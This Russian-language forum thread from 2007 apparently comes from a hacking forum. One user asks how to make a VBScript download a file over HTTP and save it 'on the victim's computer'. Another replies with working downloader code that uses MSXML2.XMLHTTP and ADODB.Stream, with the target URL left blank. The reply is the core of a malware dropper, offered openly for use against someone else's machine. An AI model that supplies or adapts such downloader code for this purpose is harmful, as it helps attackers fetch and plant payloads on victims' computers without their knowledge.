вопрос по vbs..

Discussion in 'PHP' started by PaLaTen4IK, 25 May 2007.

  1. PaLaTen4IK

    PaLaTen4IK New Member

    Joined:
    24 May 2007
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    у меня такой вопрос - я хочу что-бы скрипт скачивал с хоста какой-нить файл и сохранял его на компе жертвы....

    Code:
    Set File = FSO.GetFile("\\test\test.exe")
    File.Copy("C:\WINDOWS\test.exe")
    в данном случаем скрипт скачивает файл с компа по сети, причем эти компы должны находится в одной под-сети... меня это не устраивает, я хочу что бы скрипт скачивал этот файл через http:// - как это сделать?? помогите плз...
    ------
     
    #1 PaLaTen4IK, 25 May 2007
    Last edited: 29 Nov 2008
  2. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    Вот таким кодом:
    Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    oXMLHTTP.Open "GET", "http://", 0'тут вводи адрес сайта
    oXMLHTTP.Send
    Set oADOStream = CreateObject("ADODB.Stream")
    oADOStream.Mode = 3
    oADOStream.Type = 1
    oADOStream.Open
    oADOStream.Write oXMLHTTP.responseBody
    oADOStream.SaveToFile "file.ext", 2эздесь имя файла, с которым созранить